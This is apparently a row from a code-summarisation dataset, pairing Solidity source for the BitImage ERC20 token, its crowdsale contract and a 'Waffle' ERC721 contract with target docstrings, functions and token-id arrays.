0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2549,
49,
474,
5147,
12,
11890,
5034,
394,
5147,
13,
1071,
1338,
5541,
288,
203,
3639,
279,
347,
5147,
273,
394,
5147,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.15;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
/**
* @title BitImageToken
* @dev ERC20 burnable token based on OpenZeppelin's implementation.
*/
contract BitImageToken is StandardToken, BurnableToken, Ownable {
/**
* @dev Event for tokens timelock logging.
* @param _holder {address} the holder of tokens after they are released.
* @param _releaseTime {uint256} the UNIX timestamp when token release is enabled.
*/
event Timelock(address indexed _holder, uint256 _releaseTime);
string public name;
string public symbol;
uint8 public decimals;
bool public released;
address public saleAgent;
mapping (address => uint256) public timelock;
modifier onlySaleAgent() {
require(msg.sender == saleAgent);
_;
}
modifier whenReleased() {
if (timelock[msg.sender] != 0) {
require(released && now > timelock[msg.sender]);
} else {
require(released || msg.sender == saleAgent);
}
_;
}
/**
* @dev Constructor instantiates token supply and allocates balanace to the owner.
*/
function BitImageToken() public {
name = "Bitimage Token";
symbol = "BIM";
decimals = 18;
released = false;
totalSupply = 10000000000 ether;
balances[msg.sender] = totalSupply;
Transfer(address(0), msg.sender, totalSupply);
}
/**
* @dev Associates this token with a specified sale agent. The sale agent will be able
* to call transferFrom() function to transfer tokens during crowdsale.
* @param _saleAgent {address} the address of a sale agent that will sell this token.
*/
function setSaleAgent(address _saleAgent) public onlyOwner {
require(_saleAgent != address(0));
require(saleAgent == address(0));
saleAgent = _saleAgent;
super.approve(saleAgent, totalSupply);
}
/**
* @dev Sets the released flag to true which enables to transfer tokens after crowdsale is end.
* Once released, it is not possible to disable transfers.
*/
function release() public onlySaleAgent {
released = true;
}
/**
* @dev Sets time when token release is enabled for specified holder.
* @param _holder {address} the holder of tokens after they are released.
* @param _releaseTime {uint256} the UNIX timestamp when token release is enabled.
*/
function lock(address _holder, uint256 _releaseTime) public onlySaleAgent {
require(_holder != address(0));
require(_releaseTime > now);
timelock[_holder] = _releaseTime;
Timelock(_holder, _releaseTime);
}
/**
* @dev Transfers tokens to specified address.
* Overrides the transfer() function with modifier that prevents the ability to transfer
* tokens by holders unitl release time. Only sale agent can transfer tokens unitl release time.
* @param _to {address} the address to transfer to.
* @param _value {uint256} the amount of tokens to be transferred.
*/
function transfer(address _to, uint256 _value) public whenReleased returns (bool) {
return super.transfer(_to, _value);
}
/**
* @dev Transfers tokens from one address to another.
* Overrides the transferFrom() function with modifier that prevents the ability to transfer
* tokens by holders unitl release time. Only sale agent can transfer tokens unitl release time.
* @param _from {address} the address to send from.
* @param _to {address} the address to transfer to.
* @param _value {uint256} the amount of tokens to be transferred.
*/
function transferFrom(address _from, address _to, uint256 _value) public whenReleased returns (bool) {
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Overrides the approve() function with modifier that prevents the ability to approve the passed
* address to spend the specified amount of tokens until release time.
* @param _spender {address} the address which will spend the funds.
* @param _value {uint256} the amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public whenReleased returns (bool) {
return super.approve(_spender, _value);
}
/**
* @dev Increment allowed value.
* Overrides the increaseApproval() function with modifier that prevents the ability to increment
* allowed value until release time.
* @param _spender {address} the address which will spend the funds.
* @param _addedValue {uint} the amount of tokens to be added.
*/
function increaseApproval(address _spender, uint _addedValue) public whenReleased returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
/**
* @dev Dicrement allowed value.
* Overrides the decreaseApproval() function with modifier that prevents the ability to dicrement
* allowed value until release time.
* @param _spender {address} the address which will spend the funds.
* @param _subtractedValue {uint} the amount of tokens to be subtracted.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public whenReleased returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
/**
* @dev Burns a specified amount of tokens.
* Overrides the burn() function with modifier that prevents the ability to burn tokens
* by holders excluding the sale agent.
* @param _value {uint256} the amount of token to be burned.
*/
function burn(uint256 _value) public onlySaleAgent {
super.burn(_value);
}
/**
* @dev Burns a specified amount of tokens from specified address.
* @param _from {address} the address to burn from.
* @param _value {uint256} the amount of token to be burned.
*/
function burnFrom(address _from, uint256 _value) public onlySaleAgent {
require(_value > 0);
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_from, _value);
}
}
/**
* @title BitImageCrowdsale
* @dev The BitImageCrowdsale contract is used for selling BitImageToken tokens (BIM).
*/
contract BitImageTokenSale is Pausable {
using SafeMath for uint256;
/**
* @dev Event for token purchase logging.
* @param _investor {address} the address of investor.
* @param _weiAmount {uint256} the amount of contributed Ether.
* @param _tokenAmount {uint256} the amount of tokens purchased.
*/
event TokenPurchase(address indexed _investor, uint256 _weiAmount, uint256 _tokenAmount);
/**
* @dev Event for Ether Refunding logging.
* @param _investor {address} the address of investor.
* @param _weiAmount {uint256} the amount of Ether to be refunded.
*/
event Refunded(address indexed _investor, uint256 _weiAmount);
BitImageToken public token;
address public walletEtherPresale;
address public walletEhterCrowdsale;
address public walletTokenTeam;
address[] public walletTokenAdvisors;
address public walletTokenBounty;
address public walletTokenReservation;
uint256 public startTime;
uint256 public period;
uint256 public periodPresale;
uint256 public periodCrowdsale;
uint256 public periodWeek;
uint256 public weiMinInvestment;
uint256 public weiMaxInvestment;
uint256 public rate;
uint256 public softCap;
uint256 public goal;
uint256 public goalIncrement;
uint256 public hardCap;
uint256 public tokenIcoAllocated;
uint256 public tokenTeamAllocated;
uint256 public tokenAdvisorsAllocated;
uint256 public tokenBountyAllocated;
uint256 public tokenReservationAllocated;
uint256 public weiTotalReceived;
uint256 public tokenTotalSold;
uint256 public weiTotalRefunded;
uint256 public bonus;
uint256 public bonusDicrement;
uint256 public bonusAfterPresale;
struct Investor {
uint256 weiContributed;
uint256 tokenBuyed;
bool refunded;
}
mapping (address => Investor) private investors;
address[] private investorsIndex;
enum State { NEW, PRESALE, CROWDSALE, CLOSED }
State public state;
/**
* @dev Constructor for a crowdsale of BitImageToken tokens.
*/
function BitImageTokenSale() public {
walletEtherPresale = 0xE19f0ccc003a36396FE9dA4F344157B2c60A4B8E;
walletEhterCrowdsale = 0x10e5f0e94A43FA7C9f7F88F42a6a861312aD1d31;
walletTokenTeam = 0x35425E32fE41f167990DBEa1010132E9669Fa500;
walletTokenBounty = 0x91325c4a25893d80e26b4dC14b964Cf5a27fECD8;
walletTokenReservation = 0x4795eC1E7C24B80001eb1F43206F6e075fCAb4fc;
walletTokenAdvisors = [
0x2E308F904C831e41329215a4807d9f1a82B67eE2,
0x331274f61b3C976899D6FeB6f18A966A50E98C8d,
0x6098b02d10A1f27E39bCA219CeB56355126EC74f,
0xC14C105430C13e6cBdC8DdB41E88fD88b9325927
];
periodPresale = 4 weeks;
periodCrowdsale = 6 weeks;
periodWeek = 1 weeks;
weiMinInvestment = 0.1 ether;
weiMaxInvestment = 500 ether;
rate = 130000;
softCap = 2000 ether;
goal = 6000 ether;
goalIncrement = goal;
hardCap = 42000 ether;
bonus = 30;
bonusDicrement = 5;
state = State.NEW;
pause();
}
/**
* @dev Fallback function is called whenever Ether is sent to the contract.
*/
function() external payable {
purchase(msg.sender);
}
/**
* @dev Initilizes the token with given address and allocates tokens.
* @param _token {address} the address of token contract.
*/
function setToken(address _token) external onlyOwner whenPaused {
require(state == State.NEW);
require(_token != address(0));
require(token == address(0));
token = BitImageToken(_token);
tokenIcoAllocated = token.totalSupply().mul(62).div(100);
tokenTeamAllocated = token.totalSupply().mul(18).div(100);
tokenAdvisorsAllocated = token.totalSupply().mul(4).div(100);
tokenBountyAllocated = token.totalSupply().mul(6).div(100);
tokenReservationAllocated = token.totalSupply().mul(10).div(100);
require(token.totalSupply() == tokenIcoAllocated.add(tokenTeamAllocated).add(tokenAdvisorsAllocated).add(tokenBountyAllocated).add(tokenReservationAllocated));
}
/**
* @dev Sets the start time.
* @param _startTime {uint256} the UNIX timestamp when to start the sale.
*/
function start(uint256 _startTime) external onlyOwner whenPaused {
require(_startTime >= now);
require(token != address(0));
if (state == State.NEW) {
state = State.PRESALE;
period = periodPresale;
} else if (state == State.PRESALE && weiTotalReceived >= softCap) {
state = State.CROWDSALE;
period = periodCrowdsale;
bonusAfterPresale = bonus.sub(bonusDicrement);
bonus = bonusAfterPresale;
} else {
revert();
}
startTime = _startTime;
unpause();
}
/**
* @dev Finalizes the sale.
*/
function finalize() external onlyOwner {
require(weiTotalReceived >= softCap);
require(now > startTime.add(period) || weiTotalReceived >= hardCap);
if (state == State.PRESALE) {
require(this.balance > 0);
walletEtherPresale.transfer(this.balance);
pause();
} else if (state == State.CROWDSALE) {
uint256 tokenTotalUnsold = tokenIcoAllocated.sub(tokenTotalSold);
tokenReservationAllocated = tokenReservationAllocated.add(tokenTotalUnsold);
require(token.transferFrom(token.owner(), walletTokenBounty, tokenBountyAllocated));
require(token.transferFrom(token.owner(), walletTokenReservation, tokenReservationAllocated));
require(token.transferFrom(token.owner(), walletTokenTeam, tokenTeamAllocated));
token.lock(walletTokenReservation, now + 0.5 years);
token.lock(walletTokenTeam, now + 1 years);
uint256 tokenAdvisor = tokenAdvisorsAllocated.div(walletTokenAdvisors.length);
for (uint256 i = 0; i < walletTokenAdvisors.length; i++) {
require(token.transferFrom(token.owner(), walletTokenAdvisors[i], tokenAdvisor));
token.lock(walletTokenAdvisors[i], now + 0.5 years);
}
token.release();
state = State.CLOSED;
} else {
revert();
}
}
/**
* @dev Allows investors to get refund in case when ico is failed.
*/
function refund() external whenNotPaused {
require(state == State.PRESALE);
require(now > startTime.add(period));
require(weiTotalReceived < softCap);
require(this.balance > 0);
Investor storage investor = investors[msg.sender];
require(investor.weiContributed > 0);
require(!investor.refunded);
msg.sender.transfer(investor.weiContributed);
token.burnFrom(msg.sender, investor.tokenBuyed);
investor.refunded = true;
weiTotalRefunded = weiTotalRefunded.add(investor.weiContributed);
Refunded(msg.sender, investor.weiContributed);
}
function purchase(address _investor) private whenNotPaused {
require(state == State.PRESALE || state == State.CROWDSALE);
require(now >= startTime && now <= startTime.add(period));
if (state == State.CROWDSALE) {
uint256 timeFromStart = now.sub(startTime);
if (timeFromStart > periodWeek) {
uint256 currentWeek = timeFromStart.div(1 weeks);
uint256 bonusWeek = bonusAfterPresale.sub(bonusDicrement.mul(currentWeek));
if (bonus > bonusWeek) {
bonus = bonusWeek;
}
currentWeek++;
periodWeek = currentWeek.mul(1 weeks);
}
}
uint256 weiAmount = msg.value;
require(weiAmount >= weiMinInvestment && weiAmount <= weiMaxInvestment);
uint256 tokenAmount = weiAmount.mul(rate);
uint256 tokenBonusAmount = tokenAmount.mul(bonus).div(100);
tokenAmount = tokenAmount.add(tokenBonusAmount);
weiTotalReceived = weiTotalReceived.add(weiAmount);
tokenTotalSold = tokenTotalSold.add(tokenAmount);
require(tokenTotalSold <= tokenIcoAllocated);
require(token.transferFrom(token.owner(), _investor, tokenAmount));
Investor storage investor = investors[_investor];
if (investor.weiContributed == 0) {
investorsIndex.push(_investor);
}
investor.tokenBuyed = investor.tokenBuyed.add(tokenAmount);
investor.weiContributed = investor.weiContributed.add(weiAmount);
if (state == State.CROWDSALE) {
walletEhterCrowdsale.transfer(weiAmount);
}
TokenPurchase(_investor, weiAmount, tokenAmount);
if (weiTotalReceived >= goal) {
if (state == State.PRESALE) {
startTime = now;
period = 1 weeks;
}
uint256 delta = weiTotalReceived.sub(goal);
goal = goal.add(goalIncrement).add(delta);
bonus = bonus.sub(bonusDicrement);
}
}
} | * @dev Transfers tokens to specified address. Overrides the transfer() function with modifier that prevents the ability to transfer tokens by holders unitl release time. Only sale agent can transfer tokens unitl release time. @param _to {address} the address to transfer to. @param _value {uint256} the amount of tokens to be transferred./ | function transfer(address _to, uint256 _value) public whenReleased returns (bool) {
return super.transfer(_to, _value);
}
| 2,243,954 | [
1,
1429,
18881,
2430,
358,
1269,
1758,
18,
531,
9857,
326,
7412,
1435,
445,
598,
9606,
716,
17793,
326,
7123,
358,
7412,
2430,
635,
366,
4665,
2836,
80,
3992,
813,
18,
5098,
272,
5349,
4040,
848,
7412,
2430,
2836,
80,
3992,
813,
18,
225,
389,
869,
288,
2867,
97,
326,
1758,
358,
7412,
358,
18,
225,
389,
1132,
288,
11890,
5034,
97,
326,
3844,
434,
2430,
358,
506,
906,
4193,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
7412,
12,
2867,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1071,
1347,
26363,
1135,
261,
6430,
13,
288,
203,
3639,
327,
2240,
18,
13866,
24899,
869,
16,
389,
1132,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract HasContractURI {
string public contractURI;
constructor(string memory _contractURI) {
contractURI = _contractURI;
}
/**
* @dev Internal function to set the contract URI
* @param _contractURI string URI prefix to assign
* standard: https://docs.opensea.io/docs/contract-level-metadata
*/
function _setContractURI(string memory _contractURI) internal {
contractURI = _contractURI;
}
}
interface HasSecondarySaleFees {
event SecondarySaleFees(uint256 tokenId, address[] recipients, uint[] bps);
function getFeeRecipients(uint256 id) external view returns (address payable[] memory);
function getFeeBps(uint256 id) external view returns (uint[] memory);
}
/**
* @title Full ERC721 Token with support for tokenURIPrefix
* This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721Base is HasSecondarySaleFees, HasContractURI, ERC721Enumerable {
struct Fee {
address payable recipient;
uint256 value;
}
// id => fees
mapping (uint256 => Fee[]) public fees;
/**
* @dev Constructor function
*/
constructor (string memory _name, string memory _symbol, string memory contractURI, string memory _tokenURIPrefix) HasContractURI(contractURI) ERC721(_name, _symbol) {}
function getFeeRecipients(uint256 id) external view override returns (address payable[] memory) {
Fee[] memory _fees = fees[id];
address payable[] memory result = new address payable[](_fees.length);
for (uint i = 0; i < _fees.length; i++) {
result[i] = _fees[i].recipient;
}
return result;
}
function getFeeBps(uint256 id) external view override returns (uint[] memory) {
Fee[] memory _fees = fees[id];
uint[] memory result = new uint[](_fees.length);
for (uint i = 0; i < _fees.length; i++) {
result[i] = _fees[i].value;
}
return result;
}
function _mint(address to, uint256 tokenId, Fee[] memory _fees) internal {
_mint(to, tokenId);
address[] memory recipients = new address[](_fees.length);
uint[] memory bps = new uint[](_fees.length);
for (uint i = 0; i < _fees.length; i++) {
require(_fees[i].recipient != address(0x0), "Recipient should be present");
require(_fees[i].value != 0, "Fee value should be positive");
fees[tokenId].push(_fees[i]);
recipients[i] = _fees[i].recipient;
bps[i] = _fees[i].value;
}
if (_fees.length > 0) {
emit SecondarySaleFees(tokenId, recipients, bps);
}
}
}
/**
* @title ImagedMintableToken
* @dev anyone can mint token with selected fee.
*/
contract ImagedMintableToken is Ownable, ERC721Burnable, ERC721URIStorage, ERC721Base {
uint256 public tokenCount = 0;
struct Image {
uint256 tokenId;
string uri;
bytes data;
}
mapping(uint256 => Image) public idToImage;
constructor (string memory contractURI, string memory tokenURIPrefix) ERC721Base("Waffle", "WAFF", contractURI, tokenURIPrefix) {
}
function mint(uint256 tokenId, string memory imageUri, bytes memory imageData, Fee[] memory _fees, string memory newTokenURI) public returns (uint256) {
tokenId = tokenCount;
tokenCount++;
idToImage[tokenId] = Image(tokenId, imageUri, imageData);
_mint(msg.sender, tokenId, _fees);
_setTokenURI(tokenId, newTokenURI);
return tokenId;
}
function setContractURI(string memory contractURI) public onlyOwner {
_setContractURI(contractURI);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
super._burn(tokenId);
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
return super.tokenURI(tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
| * @dev Constructor function/ | constructor (string memory _name, string memory _symbol, string memory contractURI, string memory _tokenURIPrefix) HasContractURI(contractURI) ERC721(_name, _symbol) {}
| 12,545,778 | [
1,
6293,
445,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
